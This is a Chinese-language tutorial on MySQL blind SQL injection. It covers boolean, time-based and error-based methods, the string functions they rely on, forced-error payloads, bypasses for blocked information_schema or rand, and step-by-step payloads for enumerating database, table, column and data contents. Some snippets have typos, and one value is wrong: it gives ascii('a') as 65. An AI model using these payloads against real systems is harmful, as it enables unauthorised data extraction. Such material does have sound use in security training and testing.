MySQL盲注的基本类型

1、基于布尔的SQL盲注
2、基于时间的SQL盲注
3、基于报错的SQL盲注

盲注要用放到的一些必知函数

left()

  1. left(database(),1)>'s'
  2. left(database(),1)='s'
  3. Explain:database()显示数据库名称,left(a,b)从左侧截取a的前b

substr()

substr((select table_name information_schema.tables where tables_schema=database() limit 0,1),1,1)='a'
substr(a,b,c)从b位置开始,截取字符串a的c长度

mid()

mid((select user limit 0,1),0,1)='s'
mid(a,b,c)从位置b开始,截取a字符串的第c位

注意,这是截取第c位

ascii()

ascii('a') = 65
ascii(substr(select * from user limit 0,1),1,1)=62
ascii(substr((select batabase()),1,1))=98
ascii() 将某个字符转换位ascii值,结合substr一起使用可以判断条件内首字母对应的ascii码大小,然后判断首字母是什么

ord()

ord() 同 ascii(),将字符转换位ascii()值
ord(mid((select ifnull(cast(username AS CHAR),0x2a)FROM sercurity.users ORDER BY id LIMIT 0,1),1,1))>98
ord 与 mid 函数同样可以结合使用,与上面类似

强制报错

有时候不管页面输入什么语句都不会报错,这个时候可以强制报错
根据回显内容判断注入

select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a;

这里要注意三个点,第一是需要concat计数,第二是floor,取得0 or 1 ,进行数据的重复,第三是group by 进行分组。大致原理是分组后数据计数时重复造成的错误。
上面还可以简化为

select count(*) from information_schema.tables group by concat(version(),floor(rand(0)*2));

如果 information_schema 被禁用

select count(*) from (select 1 union select null union select !1)group by concat(version(),floor(rand(0)*2));

如果 rand 被禁用,可以使用用户变量来报错

select min(@a:=1) from information_schema.tables group by concat(password,@a:=(@a+1)%2);

手动盲注的步骤

布尔盲注

1、判断是否存在注入,注入是字符型还是数字型,例:1 or 1=1
1’ or ‘1’ = ‘1
2、猜解当前数据库名,例:猜长度 and length(database())=1 #,
猜测字符 and ascii(substr(databse(),1,1))>97#
3、猜解数据库中的表名,例:
猜表数量
and (select count (table_name) from information_schema.tables where table_schema=database())=1 #
逐个猜表名长度
and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1 #
逐个猜表名字符
and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97 #
4、猜解表中的字段名,例:
猜字段数
and (select count(column_name)from information_schema.columns where table_name = ‘user’)=1 #
猜字段长
and length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=1 #
再逐个猜字段字符 :二分法
5、猜解数据,才数据数,数据长,数据内容:二分法

时间盲注

1、判断是否存在注入,注入是字符型还是数字型,例:and sleep(5) #
2、猜解当前数据库名,例:
猜长度
and if(length(database())=1,sleep(5),1)#
猜字符
and if(ascii(substr(database(),1,1))>97,sleep(5),1)#
3、猜解数据库中的表名,例:
猜表的数量
and if((select count(table_name)from information_schema.tables where table_schema=database())=1,sleep(5),1)#
猜表名长度
and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1,sleep(5),1)
猜表名字符
4、猜解表中的字段名,例:
猜字段数量
and if((select count(column_name) from information_schema.columns where table_name= ’users’)=1,sleep(5),1)#
猜字段长度
and if(length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=1,sleep(5),1) #
猜字段字符名
5、猜数据:二分法

参考链接

SQL注入 Sql注入之盲注
SQL盲注的简单分析
详解SQL盲注测试高级技巧
对MYSQL注入相关内容及部分Trick的归类小结 <—神仙文章,必看